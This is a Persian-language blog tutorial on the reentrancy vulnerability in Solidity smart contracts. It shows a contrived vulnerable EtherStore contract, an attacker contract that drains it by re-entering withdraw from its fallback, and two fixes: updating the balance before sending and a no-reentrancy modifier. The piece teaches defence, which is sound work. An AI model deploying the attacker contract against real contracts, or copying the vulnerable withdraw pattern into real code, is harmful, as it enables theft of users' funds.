امنیت قرارداد هوشمند | ری اینترنسی (Reentrancy)
ری اینترنسی (Reentrancy) چیست؟
در هر قرارداد هوشمندی تابعی تحت عنوان fallback وجود دارد که این تابع به شکل خودکار با ارسال اتر، بی ان بی و ... (msg.value) به هر کانترک توسط EVM (Ethereum Virtual Machine) اجرا می شود. برنامه نویس قرارداد هوشمند میتواند داخل این تابع را به هر شکلی که مایل است پیاده سازی کند.
در این آسیب پذیری قرارداد های هوشمند، که به واسطه همین تابع fallback به وجود می آید، قراردادی به نحوی موظف به ارسال مقداری اتر به کانترکتی دیگر می شود و تابع fallback در کانترکتی که اتر را دریافت می کند اجرا می شود.
با توجه به شکل بالا بیایید در نظر داشته باشیم که کانترکت سمت راست (گاوصندوق)، کانترکتی است که افراد می توانند در آن اتر های خود را ذخیره کنند و هر زمان که خواستند آن ها را برداشت کنند.
بدیهی است که کانترکت جوری نوشته شده است که هر کس توانایی برداشت دارایی از پیش گذاشته شده خود را داشته باشد.(بدون ری اینترنسی)
کانترکت سمت چپ (مهاجم)، در ابتدا مقداری اتر در گاوصندوق ذخیره می کند سپس اقدام به برداشت آن می کند و هنگامی که گاوصندوق اتر های مهاجم را برای آن ارسال می کند، تابع fallback در مهاجم توسط EVM به شکل خودکار اجرا می شود و با توجه به اینکه ما در تابع fallback این کانترکت مجددا درخواست برداشت دارایی را ثبت کردیم، بدون اینکه میزان دارایی ما در گاوصندوق بروز بشود، گاوصندوق مجددا برای ما اتر ارسال می کند.
مرحله به مرحله
کانترکت B کانترکت مهاجم، که در گذشته مقدار 1 اتر در کانترکت A (گاوصندوق) ذخیره کرده است.
این روند آنقدر ادامه پیدا خواهد کرد تا کانترکت A دیگر اتری برای ارسال نداشته باشد.
لازم به ذکر است که قرارداد های نشان داده شده ساختگی و برای درک بهتر مطلب است.
سورس کد های کامل قرارداد ها
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
//Ether Store contract (A)
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
//Attacker contract (B)
contract Attack {
EtherStore public etherStore;
constructor(address _etherStoreAddress) {
etherStore = EtherStore(_etherStoreAddress);
}
fallback() external payable {
if (address(etherStore).balance >= 1 ether) {
etherStore.withdraw();
}
}
function attack() external payable {
require(msg.value >= 1 ether);
etherStore.deposit{value: 1 ether}();
etherStore.withdraw();
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
روش های جلوگیری از این آسیب پذیری
- به روز کردن موجودی فرد متقاضی، پیش از ارسال اتر به او.
- استفاده کردن از modifier برای تابع withdraw .
در سالیدیتی هنگامی که از modifier برای تابعی استفاده می کنیم، EVM پیش از ورود به تابع موارد داخل modifier را برسی می کند و اگر شروط برقرار باشند به تابع ورود و در غیر این صورت تراکنش را revert می کند.
سورس کد های جلوگیری از آسیب پذیری ری اینترنسی
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;
//////////////////////////////////////////////First Solution//////////////////////////////////////////////
contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
function withdraw() public {
uint bal = balances[msg.sender];
require(bal > 0);
balances[msg.sender] = 0;
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
//////////////////////////////////////////////Seccond Solution//////////////////////////////////////////////contract EtherStore {
mapping(address => uint) public balances;
function deposit() public payable {
balances[msg.sender] += msg.value;
}
bool internal locked;
modifier noReentrant() {
require(!locked, "No RE-entrancy!");
locked = true;
_;
locked = false;
}
function withdraw() public noReentrant {
uint bal = balances[msg.sender];
require(bal > 0);
(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");
balances[msg.sender] = 0;
}
function getBalance() public view returns (uint) {
return address(this).balance;
}
}
مطلبی دیگر از این انتشارات
شب های سیاه در Pancakeswap
مطلبی دیگر از این انتشارات
روشی برای جلوگیری از راگ پول (Rug Pull) ها!
مطلبی دیگر از این انتشارات
کشیدن فرش یا Rug Pull ابزار خفت گیری نرم در دنیای کریپتو